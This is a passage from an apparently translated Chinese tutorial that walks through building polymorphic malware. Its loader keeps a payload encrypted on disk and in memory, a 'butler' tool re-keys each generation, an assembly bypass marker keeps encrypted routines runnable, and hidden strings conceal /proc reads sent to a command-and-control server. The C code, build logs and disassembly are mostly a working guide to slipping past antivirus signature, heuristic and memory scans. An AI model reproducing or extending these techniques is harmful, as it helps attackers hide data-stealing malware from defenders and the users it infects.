< 0000d40 83d4 d47d 7500 4816 3d8d 01e2 0000 0de8
< 0000d50 fffa b8ff 0000 0000 bbe9 0000 4800 3d8d
< 0000d60 01ec 0000 87e8 fffa 48ff 4589 48d8 7d83
< 0000d70 00d8 2275 8d48 d535 0001 4800 3d8d 01d8
< 0000d80 0000 00b8 0000 e800 fa34 ffff 00b8 0000
< 0000d90 e900 0082 0000 c766 e045 0002 8b48 d845
< 0000da0 408b 4814 d063 8b48 d845 8b48 1840 8b48
< 0000db0 4800 4d8d 48e0 c183 4804 c689 8948 e8cf
< 0000dc0 fa3c ffff a0bf 000f e800 f9d2 ffff 8966
< 0000dd0 e245 8d48 e04d 458b bad4 0010 0000 8948
< 0000de0 89ce e8c7 fa58 ffff c085 1374 8d48 853d
< 0000df0 0001 e800 f968 ffff 00b8 0000 eb00 8b19
< 0000e00 d445 c789 b8e8 fffe 8bff d445 c789 bde8
< 0000e10 fff9 b8ff 0000 0000 8b48 f875 4864 3433
< 0000e20 2825 0000 7400 e805 f964 ffff c3c9 4855
< 0000e30 e589 00b8 0000 5d00 00c3 0000 8348 08ec
---
> 0000bc0 c3f3 1e64 75a4 bf0c 6460 6351 ed50 8f61
> 0000bd0 8c47 3842 0382 2be2 2ce7 0379 8bbb 859f
> 0000be0 82b6 c9b3 0273 c8cb c83b aa7c a962 5567
> 0000bf0 5266 1963 10a1 38f1 3ff4 f946 7cff 7d4f
> 0000c00 324e 7f8a 87a4 874a 374b 388f 2ce3 2fe2
> 0000c10 e354 b56f b67d 4a78 250c e55c b753 b07d
> 0000c20 007c 4cb8 8e37 3f82 3a0e 810b 86b2 85b7
> 0000c30 e15e e62b f52a cab0 d372 c30a c40f 02bd
> 0000c40 70b4 77ba c7bb 9c7f 2115 2614 9f15 9daf
> 0000c50 9aae 58e3 70ac 9e57 9952 9621 8e41 8d40
> 0000c60 8435 9851 9f54 b7e6 2854 1394 1fd0 1cd1
> 0000c70 15a4 31f8 36fd 8cbe 8bbf 01ba 29f5 ff36
> 0000c80 f833 3681 88c5 cfb5 7871 3303 3400 12ed
> 0000c90 10db 6fde 31e1 36fb cefa 2980 ed52 8359
> 0000ca0 804b 344e 7d8e 43a4 418a f58f 3c4d a3f5
> 0000cb0 dfd8 fdea d2e6 d1e3 a796 9d7e 9f54 aa51
> 0000cc0 3b5a f942 532f 3fe1 a11c 23ed ea9b 5d27
> 0000cd0 e2e3 fdcd face b742 bd6c bf72 cc73 76b8
> 0000ce0 b40d 99b0 9ca8 16ad 3ee2 17db 10db ddaa
> 0000cf0 6e12 d5d2 c8fe cbf9 8271 aa5b ac67 db62
> 0000d00 65ad a31c 84a5 85b7 0bb6 27fd 6ca6 6fa2
> 0000d10 31cc a4c3 62df ccb6 a47c f3a5 3788 1502
> 0000d20 3a0e 390b ff42 418b b743 0e3c 093d b438
> 0000d30 b286 b183 0b3d 083a e73b 0dc4 0ac1 c5b2
> 0000d40 9522 3fd9 4d0c 106a a7ae 4774 4074 a699
> 0000d50 a46f e06a e7d3 e4d6 b13e b280 fd81 4e41
> 0000d60 a491 a795 cf7c c904 7905 b6c1 215d dc93
> 0000d70 0337 5747 952c 7691 7044 3b41 8c85 5665
> 0000d80 5165 ead8 edd9 06dc cf01 cc01 7347 7042
> 0000d90 9e43 1f2d 182c ba4f 18cc 192b dd62 43a9
> 0000da0 8ffb d0aa 6480 a41d 3ed2 fe47 a18d 61d8
> 0000db0 2e52 ed92 423e 03f0 4834 04f0 c27f e63c
> 0000dc0 27e9 24e9 3ca8 3002 df03 f73c f03b 1ca7
> 0000dd0 bc6a 7ac5 d004 1d6a 74fa 6755 6054 a219
> 0000de0 e25f ce14 6ba5 68a5 2ade 4e6f 8c35 3780
> 0000df0 3105 da00 4c81 4f82 f0c4 f3c1 1fc0 8e37
> 0000e00 18f8 55a0 028e 00cd 73cc e107 a85b fe71
> 0000e10 ff34 bb31 bc88 bf8d 7bc4 f53f dea2 dadc
> 0000e20 d0cc d3e1 a0e0 4e94 d419 d71a da2d c4be
> 0000e30 af7e 1426 1327 4d22 00bd 0000 8348 08ec

现在剩下的就是运行 C2 服务器,让它监听传入连接,然后运行混淆的恶意软件。如果一切都已正确执行(如我的测试中所见),您应该能够看到服务器中的传入数据,因为客户端正在进行连接和套接字通信。

软件的一个好附加功能是,一个额外的 payload 可以通过解密并使用新的随机密钥重新加密来修改硬盘保存的副本。这需要额外的努力(不多),但可以获得一个易变的恶意软件,该恶意软件可以随时间/执行次数而变化,从而增加了检测难度。

恢复

  • 难度:中等,处理复杂功能。
  • 混淆:不错,payload 被加密,加载器小巧且隐藏在合法代码中。
  • 安全性:硬盘、网络和 RAM(直到第一次加载器执行,这可以被延迟或在特殊事件时触发)。
  • 检测方式:简单签名(在加载器上)或对两个组件的启发式。RAM 扫描现在仅在 payload 解密后才有用,并且仅在它没有再次加密的情况下。如果硬盘上的文件与 PE/ELF 的内存状态不一致,您可以推测发生了一些坏事(但合法应用程序也可以这样做,所以这只是一个猜测)。

只在必要时脱裤子

正如这个有趣的标题所说,如果不必要,不必总是“裸奔”。我决定采取的下一步是添加必要的机制,允许恶意软件在不使用时保持加密状态,并在调用其例程之前仅解密。现在应用程序开始变得更具挑战性。许多细节开始累积,例如内存状态、多线程保护等等。例如,想象一下 payload 中嵌入的功能是某种 API,它允许您设计某种模块化架构。您需要考虑来自多个线程的调用、非重入变量的状态以及更多内容。

您可能会注意到源代码中,随着软件复杂性的增加,分配给它的代码也随之增加。payload 仍然未更改,并且独立于“外部”发生的情况,但加载器本身的大小和复杂性正在增加。您需要考虑到加载器的大小和复杂性越大,它就越独特和庞大,这使其容易被扫描软件检测到。请始终考虑应用程序的可攻击面!

这个额外的步骤包含在 poly/3_on_time 文件夹中。这里的加载器已从主应用程序移开,隔离在自己的源代码表中。主应用程序现在看起来像:

int
main(int argc, char ** argv)
{
    /* Start of the critical region */
    if(ldr_lock()) {
        return 0;
    }

    pload_run();
    ldr_unlock();
    /* End of the critical region */

    return 0;
}

加载器过程以“ldr”前缀开头,并标识提供的小型实用程序。由于现在代码假定由多个线程运行,因此它受到简单的互斥锁保护(您也可以放置其他东西),该互斥锁允许原子地访问 payload 功能。此功能是必需的,因为现在 payload 将始终保持加密状态,无论是在硬盘上还是在内存中,直到它需要执行为止。此外,如果您需要,您还可以在每次解锁部分时指定不同的密钥:这会导致 payload 几乎无法被检测到(再次使用签名检测)。

正如您在以下代码中看到的,在锁定阶段会调用一个互斥锁;如果有人已经在处理 payload 区域,该线程将休眠,直到已经就位的过程完成。在这里了解 payload 的作用至关重要,因为在考虑生命周期时的小错误会导致多线程中的经典饥饿问题,最终导致整个架构冻结(每个人都在等待那个锁,但持有它的人正在等待另一个锁)。

int
ldr_unlock()
{
    int ret;

    /*
     * Change ldr_key and ldr_key_size HERE and NOW to change the signature
     * of the encrypted area.
     */

    ret = mem_encrypt(ldr_key, ldr_key_size);
    pthread_mutex_unlock(&ldr_mtx);

    return ret;
}

int
ldr_lock()
{
    pthread_mutex_lock(&ldr_mtx);
    if(mem_decrypt(ldr_key, ldr_key_size)) {
        pthread_mutex_unlock(&ldr_mtx);
        return -1;
    }

    return 0;
}

此恶意软件现在可以潜在地从一代到下一代发生变化,因为它有能力在每次运行时更改其加密密钥(隔离在一个变量中),并且只需付出少量额外的努力就可以实现这一点。不仅如此,您还可以增加密钥的大小以获得更大的可能值集,并通过适当的伪随机生成器使其基本上不可能考虑可以生成的所有可能的签名。

现在您可能会问:第一代怎么办?在第一次运行时,不是第一个文件总是相同的,直到最终应用随机化?这样,它就可以有一个独特的签名在第一次下载时。

不幸的是,对于扫描仪来说,不是的,因为有 butler。恶意软件加载机制现在已经被设计成使用一个虚拟密钥和一个虚拟密钥大小开始,一旦应用程序被编译,这个密钥就非常容易扫描。

/* Area where the key resides with an unique pattern inside (for butler) */
char ldr_key[LDR_KEY_MAX] =
    {0, 1, 2, 3, 4, 5, 6, 7,
     8, 9, 0, 1, 2, 3, 4, 5,
     6, 7, 8, 9, 0, 1, 2, 3,
     4, 5, 6, 7, 8, 9, 0, 1};

/* Current key in use with an unique pattern inside (for butler) */
/*                   deadkey */
int ldr_key_size = 0xdead8e1;

在(从外部)加密恶意软件之前,正如您在前面的章节中所见,Butler 会检测 PE/ELF 在硬盘上的这些签名,选择一个随机的 (key, keysize) 对,并用选定的值加密所有内容,然后将这些值注入应用程序。这允许也存在于第一代恶意软件中的随机化,以便它可以分发而无需担心原始版本被检测到。

这种生成的一个例子是:

xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ make
gcc -Wall -g -fpic -o mw ./main.c ./ldr.c ./pload.c -ldl
./ldr.c: In function ‘mem_decrypt’:
./ldr.c:34:17: warning: initialization makes pointer from integer without a 
 cast [-Wint-conversion]
  void * start = (long)pload_start - ((long)pload_start % ps);
                 ^
./ldr.c: In function ‘mem_encrypt’:
./ldr.c:76:17: warning: initialization makes pointer from integer without a 
 cast [-Wint-conversion]
  void * start = (long)pload_start - ((long)pload_start % ps);
                 ^
gcc -Wall -g -fpic -o butler ./butler.c
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ ./butler
Injected key will be:
     30 19 0e 12 7f c7 7a d9 df ca df 5f e9 25 de f9 27 d4 27 4a 
     c5 04 dc 3f 27 bd 9d 35 d4 89 97 04
Only the first 2 bytes of the key will be used!
64-bits executable detected...
Section detected; protecting...
Trying to inject the key...
Session key injected...
Session key size injected...

对整个文件和连续块执行签名扫描将导致 payload 区域出现不同的签名(当然取决于块大小)。值得注意的是,加载器上的签名仍然相同,因为它不受保护。

对该文件进行 2048 字节块的签名将导致:

FILE:
93 2a 4d b1 a0 70 6e a7 53 51 18 47 6d fe 08 90 ad 91 d8 3c 42 c2 f6 bd ad a7 09 bb f9 50 2d 70

BLOCKS:
e9 7a 18 29 7f 1a 83 3f 65 ce 0d 5c ad c3 78 3b 89 3a ba 42 dc 1d cf 3f b6 18 74 7e 48 41 a4 73
da d8 7a 0c ae 51 17 6d 9f 80 90 22 4b b8 cd 2e 25 cb b7 c5 cb a6 3b 7b 91 5e 30 05 45 9f f8 5e
bd d9 78 24 d0 99 84 38 6c c3 e0 f8 1b bb f8 3b 33 f8 68 3b 52 ce 3d 8c 62 eb 2a 4a f7 b9 a7 37
56 5f 17 d3 40 60 44 21 33 1b bb 71 3e f8 54 b3 1c 12 da 2e fc 42 bd 98 9a 2a 1c e6 2f 3f da 7c
8b f5 ac e1 8c c5 5c de b4 f2 f9 51 ff e2 be a9 d8 50 d1 7e ef e3 5d 99 f0 2c 5d c2 11 74 fc e2
e1 02 d3 0c ad 89 84 84 ba 84 24 46 df a5 a2 51 35 00 24 f2 48 87 86 d5 88 d3 6e c8 00 86 3f bf
35 f3 69 a3 0d c7 41 32 70 ef aa d7 21 5b 50 2e 6d e3 4a f0 b6 80 57 67 e4 a9 df fb 9a c9 7d 85
36 4a ba bd cc 13 bf 77 b3 da 4d f1 ad e2 8f ab 4f c8 d3 c7 55 85 10 2e df c8 f7 7d df cc 97 86
a8 af 9e ec 46 92 60 48 84 dd 57 41 3a 2d 00 08 d2 e3 24 55 43 04 e5 0f ab 9e 43 7b 5d 70 fb 5c
55 86 c8 4b 5c 08 e7 46 55 67 88 ff 61 c0 ad 9d 46 a5 06 36 48 3a dc 33 d2 1e 77 9e 3a c9 a4 7c

再次重复 make 和 butler 操作将导致(更改的块可能指文本和数据区域,新 payload 和新密钥位于其中):

FILE:
8d 77 32 01 1b 57 73 f4 1c a4 2e 1d 7d 30 f9 8c c4 7b fb b0 41 ce 87 81 4e 1e 72 31 84 41 6a 0f

BLOCKS:
e9 7a 18 29 7f 1a 83 3f 65 ce 0d 5c ad c3 78 3b 89 3a ba 42 dc 1d cf 3f b6 18 74 7e 48 41 a4 73
71 88 8f 93 2d 5d bb b9 89 9b 3e 81 c5 b6 e2 d8 33 de 8a 0a bf 71 04 3d 34 18 93 b1 d6 df da 4f
86 fa 58 dd 24 22 fd b2 a6 94 a0 58 a7 a9 88 bf e3 de a7 cb 0e 41 a8 7a f0 c8 d7 c4 99 1b 6e 2d
56 5f 17 d3 40 60 44 21 33 1b bb 71 3e f8 54 b3 1c 12 da 2e fc 42 bd 98 9a 2a 1c e6 2f 3f da 7c
d8 c0 39 19 01 59 14 a0 fc 87 06 38 a6 96 0c fb 8c 12 65 4a 91 02 7a 0c 9d 80 0b 87 2c 07 d7 36
e1 02 d3 0c ad 89 84 84 ba 84 24 46 df a5 a2 51 35 00 24 f2 48 87 86 d5 88 d3 6e c8 00 86 3f bf
35 f3 69 a3 0d c7 41 32 70 ef aa d7 21 5b 50 2e 6d e3 4a f0 b6 80 57 67 e4 a9 df fb 9a c9 7d 85
36 4a ba bd cc 13 bf 77 b3 da 4d f1 ad e2 8f ab 4f c8 d3 c7 55 85 10 2e df c8 f7 7d df cc 97 86
a8 af 9e ec 46 92 60 48 84 dd 57 41 3a 2d 00 08 d2 e3 24 55 43 04 e5 0f ab 9e 43 7b 5d 70 fb 5c
55 86 c8 4b 5c 08 e7 46 55 67 88 ff 61 c0 ad 9d 46 a5 06 36 48 3a dc 33 d2 1e 77 9e 3a c9 a4 7c

恢复

  • 难度:硬,复杂的功能需要处理。
  • 混淆:不错,payload 被加密并每次刷新,但加载器变得更大。
  • 安全性:硬盘、网络和 RAM,即使在执行非 payload 操作期间。
  • 检测方式:简单签名(在加载器或 LDR 部分)或对组件的启发式。RAM 扫描现在无效,因为混淆被更新,并且可能也用新的密钥更新。通过仿真进行启发式可以检测到无效的字节码,并提醒用户该应用程序上存在一些恶意行为。

一个始终有效的应用程序

在前几章中,我专注于直接作用于应用程序二进制代码的机制,这些机制允许更改二进制文件的签名。这使您可以保护应用程序的敏感区域以避免基于签名的扫描技术。但是,杀毒软件还有其他启发式方法来分析应用程序并猜测其被分配的任务,其中一种技术基于虚拟机,该虚拟机“跟随”应用程序代码而不加载它,并充当操作系统/CPU。这样,它们就可以监控应用程序的行为,在我们的案例中,可以检测到无效的字节码部分。

到目前为止,我还没有展示各种工具对二进制文件的影响。让我们一步一步地看看应用程序在从头开始编译后会发生什么:

xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ make
gcc -Wall -g -fpic -o mw ./main.c ./ldr.c ./pload.c -ldl
./ldr.c: In function ‘mem_decrypt’:
./ldr.c:34:17: warning: initialization makes pointer from integer without 
  a cast [-Wint-conversion]
  void * start = (long)pload_start - ((long)pload_start % ps);
                 ^
./ldr.c: In function ‘mem_encrypt’:
./ldr.c:76:17: warning: initialization makes pointer from integer without 
  a cast [-Wint-conversion]
  void * start = (long)pload_start - ((long)pload_start % ps);
                 ^
gcc -Wall -g -fpic -o butler ./butler.c
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ gdb ./mw

[...]

(gdb) disas /r pload_send
Dump of assembler code for function pload_send:
   0x0000000000400ebd <+0>:     55      push   %rbp
   0x0000000000400ebe <+1>:     48 89 e5        mov    %rsp,%rbp
   0x0000000000400ec1 <+4>:     48 81 ec 30 04 00 00    sub    $0x430,%rsp
   0x0000000000400ec8 <+11>:    89 bd dc fb ff ff       mov    %edi,-0x424(%rbp)
   0x0000000000400ece <+17>:    48 89 b5 d0 fb ff ff    mov    %rsi,-0x430(%rbp)
   0x0000000000400ed5 <+24>:    64 48 8b 04 25 28 00 00 00      mov    %fs:0x28,%rax
   0x0000000000400ede <+33>:    48 89 45 f8     mov    %rax,-0x8(%rbp)
   0x0000000000400ee2 <+37>:    31 c0   xor    %eax,%eax
   0x0000000000400ee4 <+39>:    c7 85 e4 fb ff ff 00 00 00 00   movl   $0x0,-0x41c(%rbp)
   0x0000000000400eee <+49>:    48 8b 85 d0 fb ff ff    mov    -0x430(%rbp),%rax
   0x0000000000400ef5 <+56>:    48 8d 35 94 02 00 00    
                                lea    0x294(%rip),%rsi        # 0x401190
   0x0000000000400efc <+63>:    48 89 c7        mov    %rax,%rdi
   0x0000000000400eff <+66>:    e8 bc f9 ff ff  callq  0x4008c0 <fopen@plt>
   0x0000000000400f04 <+71>:    48 89 85 e8 fb ff ff    mov    %rax,-0x418(%rbp)
   0x0000000000400f0b <+78>:    48 83 bd e8 fb ff ff 00 cmpq   $0x0,-0x418(%rbp)
   0x0000000000400f13 <+86>:    75 1d   jne    0x400f32 <pload_send+117>
   0x0000000000400f15 <+88>:    48 8b 85 d0 fb ff ff    mov    -0x430(%rbp),%rax
   0x0000000000400f1c <+95>:    48 89 c6        mov    %rax,%rsi
   0x0000000000400f1f <+98>:    48 8d 3d 6c 02 00 00    
                                lea    0x26c(%rip),%rdi        # 0x401192
   0x0000000000400f26 <+105>:   b8 00 00 00 00  mov    $0x0,%eax
   0x0000000000400f2b <+110>:   e8 20 f9 ff ff  callq  0x400850 <printf@plt>
   0x0000000000400f30 <+115>:   eb 74   jmp    0x400fa6 <pload_send+233>
   0x0000000000400f32 <+117>:   48 8b 95 e8 fb ff ff    mov    -0x418(%rbp),%rdx
   0x0000000000400f39 <+124>:   48 8d 85 f0 fb ff ff    lea    -0x410(%rbp),%rax
   0x0000000000400f40 <+131>:   48 89 d1        mov    %rdx,%rcx
   0x0000000000400f43 <+134>:   ba 00 04 00 00  mov    $0x400,%edx
   0x0000000000400f48 <+139>:   be 01 00 00 00  mov    $0x1,%esi
   0x0000000000400f4d <+144>:   48 89 c7        mov    %rax,%rdi
   0x0000000000400f50 <+147>:   e8 ab f8 ff ff  callq  0x400800 <fread@plt>
   0x0000000000400f55 <+152>:   89 85 e4 fb ff ff       mov    %eax,-0x41c(%rbp)
   0x0000000000400f5b <+158>:   8b 85 e4 fb ff ff       mov    -0x41c(%rbp),%eax
   0x0000000000400f61 <+164>:   48 63 d0        movslq %eax,%rdx
   0x0000000000400f64 <+167>:   48 8d b5 f0 fb ff ff    lea    -0x410(%rbp),%rsi
   0x0000000000400f6b <+174>:   8b 85 dc fb ff ff       mov    -0x424(%rbp),%eax
   0x0000000000400f71 <+180>:   b9 00 00 00 00  mov    $0x0,%ecx
   0x0000000000400f76 <+185>:   89 c7   mov    %eax,%edi

[...]

正如您所见,这里似乎没有什么问题。过程很顺利,指令一个接一个地被调用,并且很可能,它本身(在正确参数下单独调用时)可以正常工作。但那些 op-codes 是清晰的恶意软件 payload,如果就这样保留,不进行修改,则容易被基于签名的扫描器检测到。这就是 butler 发挥作用的地方;通过在同一文件夹下运行该实用程序,您将加密需要扫描保护的部分,这对代码产生以下影响:

xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ ./butler
Injected key will be:
     d6 ed 6c 26 0f 90 a7 d5 f0 ee 2c 0e 98 e5 80 8a 
     67 e8 38 e6 22 a5 d3 74 05 36 31 da 76 72 d0 4c
Only the firsts 21 bytes of the key will be used!
64-bits executable detected...
Section detected; protecting...
Trying to inject the key...
Session key injected...
Session key size injected...
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ gdb ./mw

[...]

(gdb) disas /r pload_run
Dump of assembler code for function pload_run:
   0x000000000040100e <+0>:     9a      (bad)
   0x000000000040100f <+1>:     37      (bad)
   0x0000000000401010 <+2>:     3e 51   ds push %rcx
   0x0000000000401012 <+4>:     7e 15   jle    0x401029 <pload_run+27>
   0x0000000000401014 <+6>:     c1 17 51        rcll   $0x51,(%rdi)
   0x0000000000401017 <+9>:     cf      iret
   0x0000000000401018 <+10>:    a9 c1 c2 e5 75  test   $0x75e5c2c1,%eax
   0x000000000040101d <+15>:    d2 07   rolb   %cl,(%rdi)
   0x000000000040101f <+17>:    bf d8 b1 47 ee  mov    $0xee47b1d8,%edi
   0x0000000000401024 <+22>:    cb      lret
   0x0000000000401025 <+23>:    f1      icebp
   0x0000000000401026 <+24>:    7b 1c   jnp    0x401044 <pload_run+54>
   0x0000000000401028 <+26>:    f4      hlt
   0x0000000000401029 <+27>:    cc      int3
   0x000000000040102a <+28>:    94      xchg   %eax,%esp
   0x000000000040102b <+29>:    b7 61   mov    $0x61,%bh
   0x000000000040102d <+31>:    8c e0   mov    %fs,%eax
   0x000000000040102f <+33>:    79 74   jns    0x4010a5 <pload_run+151>
   0x0000000000401031 <+35>:    e4 43   in     $0x43,%al
   0x0000000000401033 <+37>:    96      xchg   %eax,%esi
   0x0000000000401034 <+38>:    8e a7 73 82 e5 89       mov    -0x761a7d8d(%rdi),%fs
   0x000000000040103a <+44>:    4c 12 f6        rex.WR adc %sil,%r14b
   0x000000000040103d <+47>:    63 8f 69 3e fe 5b       movslq 0x5bfe3e69(%rdi),%ecx
   0x0000000000401043 <+53>:    ba a1 11 80 27  mov    $0x278011a1,%edx
   0x0000000000401048 <+58>:    f2 ea   repnz (bad)
   0x000000000040104a <+60>:    a6      cmpsb  %es:(%rdi),%ds:(%rsi)
   0x000000000040104b <+61>:    7d 8c   jge    0x400fd9 <pload_info+29>
   0x000000000040104d <+63>:    eb b6   jmp    0x401005 <pload_info+73>
   0x000000000040104f <+65>:    36 bc db 33 e2 bf       ss mov $0xbfe233db,%esp
   0x0000000000401055 <+71>:    9d      popfq
   0x0000000000401056 <+72>:    4b a6   rex.WXB cmpsb %es:(%rdi),%ds:(%rsi)
   0x0000000000401058 <+74>:    82      (bad)
   0x0000000000401059 <+75>:    29 1b   sub    %ebx,(%rbx)
   0x000000000040105b <+77>:    42 e4 31        rex.X in $0x31,%al
   0x000000000040105e <+80>:    c1 c7 f7        rol    $0xf7,%edi
   0x0000000000401061 <+83>:    01 66 7c        add    %esp,0x7c(%rsi)
   0x0000000000401064 <+86>:    b4 b7   mov    $0xb7,%ah
   0x0000000000401066 <+88>:    95      xchg   %eax,%ebp
   0x0000000000401067 <+89>:    a5      movsl  %ds:(%rsi),%es:(%rdi)
   0x0000000000401068 <+90>:    d5      (bad)

[...]

现在您可以看到流程不再像以前那样了,甚至更糟(由于加密),一些指令被归类为。这些指令很可能在运行时会生成异常并使您的程序崩溃;这就是为什么您需要在其使用之前解密二进制文件的这部分!现在杀毒软件的高级启发式方法将得出相同的结论,当它们发现这段代码时(例如,通过利用所有可见的程序符号),它们将意识到代码本身是不可执行的,这意味着加密正在生效。

现在我们需要一种方法来使过程在加密时有效,在解密时也有效

下一步,在 poly/4_runnable 文件夹中,通过进一步增加恶意软件的难度来克服这个问题。病毒在这里试图做的是只保护程序的一部分,绕过所有坏代码并直接返回一个有效值。这是通过改进 butler 工具和嵌入式加载器中的加密例程来实现的。作为反作用,现在加载器变得越来越大和复杂;这意味着检测它的可能性(在本文中加载器保持未受保护)增加,并且引入软件错误的概率也随之增加。

payload 现在需要进行一些小的修改,因为它必须引入一个标记来标示从哪里开始加密一个过程,以及“披风”下包含多少字节。请注意,这基本上意味着能够将 payload 字节码包含在合法的、工作正常的程序中(例如,在解密之前查找文件大小,然后在解密后提取信息并查找文件大小)。执行绕过和加密标记是以下内联汇编宏:

/* Custom piece of assembly to be put at the begin of the section to protect */
#define MARK_TO_PROTECT(bypass) \
    asm volatile goto (         \
        "jmp %l[bypass]\r\n"    \
        "nop\r\n"               \
        :                       \
        :                       \
        :                       \
        :                       \
        bypass);

它包含在需要保护但保持有效的过程的开头(或任何位置),

/* Run the module */
int
__encrypted
pload_run()
{
        MARK_TO_PROTECT(bypass);

        /* protected code is between the macro and bypass label */

bypass: 
        return 0;
}

这反映在字节码中(长跳转的情况下)与以下 op-codes(突出显示):

[...]
   0x0000000000401535 <+0>:     55      push   %rbp
   0x0000000000401536 <+1>:     48 89 e5        mov    %rsp,%rbp
   0x0000000000401539 <+4>:     48 83 ec 30     sub    $0x30,%rsp
   0x000000000040153d <+8>:     64 48 8b 04 25 28 00 00 00      mov    %fs:0x28,%rax
   0x0000000000401546 <+17>:    48 89 45 f8     mov    %rax,-0x8(%rbp)
   0x000000000040154a <+21>:    31 c0   xor    %eax,%eax
   0x000000000040154c <+23>:    e9 ea 00 00 00  jmpq   0x40163b <pload_run+262>
   0x0000000000401551 <+28>:    90      nop
[...]

pload_run 过程现在即使部分加密仍然有效,并且简单地返回成功值0。如果其他人运行此例程,或者由于某个条件不成立(有人在调试您,激活日期未到等),您可以将代码保持加密状态,过程和应用程序仍然有效,并且将运行而不会崩溃或数据损坏。

加载器(和 butler 实用程序)现在不仅仅是加密/解密一块内存,而是包含额外的逻辑,允许在过程中进行导航。此例程将找到跳转,将其替换为一些无操作 op-code,并使执行流程也运行恶意软件部分。一旦代码运行完毕,payload 将再次被重新加密,NOPs 将被一个有效的跳转覆盖,就像解密之前一样。再次,我没有考虑每次执行和重新加密代码时使用不同的加密密钥,但您可以轻松地将此功能引入代码中。

您现在可以运行 C2 服务器,在 butler 完成工作后,运行恶意软件以查看其效果。如果一切都已正确执行(如我的测试中),那么您应该能够在服务器中看到传入的报告。您可以进行的额外实验是尝试在加载器锁定和解锁例程之外运行 payload 例程,并意识到它们是可运行的,没有任何错误,但也没有任何效果。

int main(int argc, char ** argv)
{
        pload_run(); /* This run the encrypted routine without decryption! */

        sleep(1);

        /* Start of the critical region */
        if(ldr_lock()) {
                printf("Failed!\n");
                return 0;
        }
        pload_run();

        ldr_unlock();
        /* End of the critical region */

        return 0;
}

恢复

  • 难度:硬,复杂的功能需要处理。
  • 混淆:不错,payload 被加密并且每次都可以刷新,但加载器甚至更大(且更复杂)。
  • 安全性:硬盘、网络和 RAM,即使在执行非 payload 操作期间。额外的逻辑可以使其更难通过启发式方法检测到隐藏的功能。
  • 检测方式:简单签名(在加载器或其他部分)。现在代码可以运行,无论恶意软件部分是否被加密,启发式方法在对其进行分类时也将面临困难。

细节决定成败

您可能已经注意到,机制越好越精确,需要考虑的细节就越多。对于复杂的架构尤其如此,这里我们只考虑软件的保护部分,而不考虑通信、其他隐藏功能或架构的模块化。您可能会认为,通过采用前面的技术,您是安全的……但实际上您不是。这里看到的混淆例程只是恶意软件施加在自身上的部分自我保护机制。

例如,在 printf 或类似 API 中使用的数据字符串为创建软件签名提供了良好的基础。扫描“/proc/cpuinfo”或类似路径可以立即检测到您的软件(或至少向杀毒软件发出警报)。如果您将所有 string 连接在一起,您就可以为应用程序获得一个非常独特的指纹,作为未来扫描的参考。

这可以通过引入本文的最后一种混淆机制来避免:数据隐藏。这适用于二进制文件,但影响敏感的、需要保护的数据区域。这也适用于导入的符号。例如,导入系统调用 mprotect 可以将您的应用程序标记为可疑,并且杀毒软件可以对其运行更复杂的启发式方法来排除威胁。然后,您可以使用 dlopen dlsym 来加载库并查找其中的特定公共过程。这些过程以 string 为输入,如果您加密这些 string ,您也会隐藏您的 import 表的一部分。

poly/5_data_hiding 文件夹中,您可以找到也应用了数据隐藏的模拟恶意软件。第一步是删除引号中的所有内容,并将其包含在一个具有以下形式的特殊结构中:

#define STRING_KEY_SIZE 64
#define STRING_MAX_SIZE 256

/* Structure containing encrypted strings */
typedef struct __protected_string_container {
        char key[STRING_KEY_SIZE];
        char string[STRING_MAX_SIZE];
} __attribute__((packed)) PSC;

第一部分是用于以下字符串的密钥的字节区域。请注意,对于普通变量(整数、浮点数、短整数或复杂结构)可以使用相同的机制;在使用之前只需进行强制类型转换即可。然后,加载器已扩展为提供一个附加功能,即 ldr_get_string 过程。这个新机制接受一个 id(分配给受保护字符串)和一个用于转储未加密数据的内存区域(通常在栈上分配,并在过程返回后清理)。

标记为受保护的字符串组织如下:

PSC ldr_cpuinfo = {
        {1, 1, 1, 1, 1, 1, 1, 1,
         2, 2, 2, 2, 2, 2, 2, 2,
         3, 3, 3, 3, 3, 3, 3, 3,
         4, 4, 4, 4, 4, 4, 4, 4,
         5, 5, 5, 5, 5, 5, 5, 5,
         6, 6, 6, 6, 6, 6, 6, 6,
         7, 7, 7, 7, 7, 7, 7, 7,
         8, 8, 8, 8, 8, 8, 8, 8},
         "/proc/cpuinfo\0"
};

第一个元素,密钥,包含 butler 用于在 ELF/PE 中查找区域的令牌,接下来的 256 字节用于包含的值,它们将被加密。然后将使用的密钥保存在结构的头部,并将所有内容再次转储到硬盘上以匹配修改。

如果您扫描以前版本的恶意软件,您实际上可以在其数据区域中清楚地看到字符串:

xxx@xxx:/mnt/c/Projects/MOT/poly/4_runnable$ vim ./mw

[...]

@ERROR: Failed to un-protect memory^@^@^@^@^@^@ERROR: 
 Failed to protect memory^@e^@l^@^@^@^@^@r^@WARNING: Could not locate %s
^@ERROR: Could not send data!^@/proc/cpuinfo^@/proc/meminfo^@/
 proc/cmdline^@/proc/version^@^@^@^@^@ERROR: Could not open a socket!^@localhost^@ERROR: 
 Cannot resolve '%s'
^@^@^@ERROR: Cannot connect to Command&Control^

[...]

而对版本 5 的相同扫描将导致:

ÚÛ^_^T´Nü^X<84>EÃ^Hq«Íë^_^\æ¾Â¿ê¢(<8b>^B^PÂ<97>´<86><8a>ENî£q¡Õî<97>ëW<9b>°<84>uv;èdÚ=^GO%&âxL
`I^OË<87>'ÝyÓ¤^QßÑ^X$±mfruUS^AæÚ:9Ãø<9d>  `?v¶½^]P<82>^F ácà^Tår®¥Y£ùÇ<82><8f>ËAUÜ<9d>ãÅÞûÉwgÂ8
<9c><81>~o¡¯îQ<^_ë<9c>«¤§õ¥«Þ55ñâùõ<95>ß^[^PÌtËd^G9¿C^[^\^AX»½ðÜmI!~ya<9e>¥¸^@^@^@^@H<8b>MødH3
^L%(^@^@^@t^EèióÿÿÉÃUH<89>åH<81>ì ^A^@^@<89>½ìþÿÿdH<8b>^D%(^@^@^@H<89>Eø1Àéè^@^@^@J»^MlÃ8<9c>6
^RÓUÖ"Ôb¾µI³éÇ<99>~b_9¼<88>ìÏÔ´^M7Ã<9c>Ñ^C<90>³pöu<81>&^\<ÈËüïcÙ>^Däÿ^A:_^Hi_^XÜ×ÀLÁ^]FoºÇÌ|¢ó}
